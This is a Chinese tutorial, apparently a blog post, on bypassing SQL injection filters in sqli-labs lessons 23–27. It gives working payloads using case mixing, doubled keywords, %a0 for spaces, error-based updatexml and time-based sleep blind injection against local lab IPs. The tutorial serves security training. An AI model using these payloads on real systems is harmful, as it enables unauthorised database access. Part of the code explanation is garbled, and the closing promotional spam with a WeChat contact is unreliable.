赞
踩
如果过滤器通过关键字进行过滤并没有识别大小写 ,我们就可以使用大小写来进行绕过,因为 SQL
语句是不区分大小写的。
原始语句
SELECT * FROM users WHERE id=‘1’ LIMIT 0,1
大小写掺杂注入
SELECT * FROM users WHERE id=‘1’
And
1=1–+’ LIMIT 0,1
问题存在的原因是:过滤器过滤了正常的关键字,但是并没有对字符串进行处理。
Less-23
[root@localhost ~]# vim /var/www/html/sqli-labs/Less-23/index.php
我们可以看到 Less-23 中源代码过滤了单行注释的方法,我们可以正常闭合 SQL 语句来进行绕过。
程序代码中的 preg_replace(查找并替换)解释:
i d = p r e g _ r e p l a c e ( id = preg\_replace( id=preg_replace(reg, $replace, $id)
# i d = 表示重新赋值, p r e g _ r e p l a c e ( ) 查找和替换的函数, id = 表示重新赋值,preg\_replace()查找和替换的函数, id=表示重新赋值,preg_replace()查找和替换的函数,reg 表示 reg 变量中的值为查找内容(值为:#), r e p l a c e 表示 r e p l a c e 变量中的值为替换内容(该值为空), replace 表示 replace 变量中的值为替换内容(该值为空), replace表示replace变量中的值为替换内容(该值为空),id 表示查找并替换的目标。
即是对用户传递 id 的值中的内容,查找# 并替换为空,而后再重新赋值回 id,从而达到过滤效果
通过以上程序中代码可看到被过滤的有 # 和 – ,因此不能够使用注释进行注入,下面绕过注释进
行注入。
例 1:
http://192.168.1.103/sqli-labs/Less-23/?id=-1’ union select 1,database(),'3
我们在第三个字段前添加一个单引号来闭合 id 字段后面的单引号,我们前面用到了一种类似的方
法。
语句分析:
语句中的
-1’
union select 1,database(),
‘3
,其中的
-1’
单引号用于闭合原语句中的前面单引
号,
'3
是用于闭合原语句中后面的单引号
原来语句:
SELECT * FROM users WHERE id=‘$id’ LIMIT 0,1
注入后的语句:
SELECT * FROM users WHERE id=’
-1’ union select 1,database(),'3
’ LIMIT 0,1
由此可以拼接成一条完整可执行的语句。
例 2:使用逻辑运算注入
http://192.168.1.103/sqli-labs/Less-23/?id=-1’ union select 1,database(),3 and ‘1’='1
使用 and 或者 or 添加一个表达式 or ‘1’ = '1 注意后面一定要缺省一个单引号。否则 SQL 语句不能正常闭合。
前面我们介绍了 PHP 过滤函数可以过滤注释符,同样它也可以过滤关键字。
Less-25
代码中过滤了 or 和 AND,大小写同样都被过滤了
例 1:双写搭配大小写绕过
http://192.168.1.103/sqli-labs/Less-25/?id=-1’ union select 1,database(),3 AandNd ‘1’='1
Less-25
例 1:
http://192.168.1.103/sqli-labs/Less-25/?id=1 && id=2–
我们可以看到这条语句 id=1 后面并没有单引号,原因是使用&&进行连接时不需要进行闭合,流程
为 id=1 然后继续执行 id=2 最后–+单行注释
因为 id=1 && id=2 都是在同一个 URL 中指定,首先 id=1,这个时候 id 的变量中的值为 1。此
时,数据还没带到数据库里查询,因为还有 && id=2,然后 id 再重新传递一次,这个时候 id 的变量中
的值就变成了 2,然后传参结束,所以最终的值是 2,再到数据库里执行,结果是 id=2 的记录。
例 2:
http://192.168.1.103/sqli-labs/Less-25/?id=-1’ || id=2–+
这里 id=-1’使 SQL 语句报错并使用单引号进行闭合,然后拼接 || 执行 id=2 最终–+单行注释
|| 前面 SQL 语句执行失败才会执行后面语句,这一点和 union 是一样的,需要我们手动将前面代码
进行报错。
Less-26
可替代空格使用的符号:
%20 %09 %0a %0b %0c %0d %a0 /**/ #ascii 码转 url 编码
例:当前案例测试只有%a0 可以替换成功。
http://192.168.1.106/sqli-labs/Less-
26/?id=0%27%a0union%a0select%a01,database(),3%a0%26%26%a0%271%27=%271
相当于:
http://192.168.1.63/sqli-labs/Less-26/?id=0’ union select 1,database(),3 && ‘1’='1
说明:
%a0 #表示空格,MySQL 中%a0 代表空白符,可以代替空格
%26 #表示&
%27 #表示 ’ 单引号
Less-27
源码中过滤了常用注释和 union、select
不过我们可以看到代码中的过滤并不完善,我们可以利用前面学过的多种方式进行绕过。
例 1:大小写绕过
http://192.168.1.103/sqli-labs/Less-27/?id=1’
and%a0updatexml(1,concat(0x7e,(sElEct%a0database()),0x7e),1) and ‘1’='1
例 2:盲注绕过
http://192.168.1.103/sqli-labs/Less-27/?id=1’
and%a0if((length(database())=8),sleep(3),null)and ‘1’='1
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!
王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。
对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!
【完整版领取方式在文末!!】
93道网络安全面试题
内容实在太多,不一一截图了
最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
学习路线
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-ZwZz7EVo-1713078031619)]
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。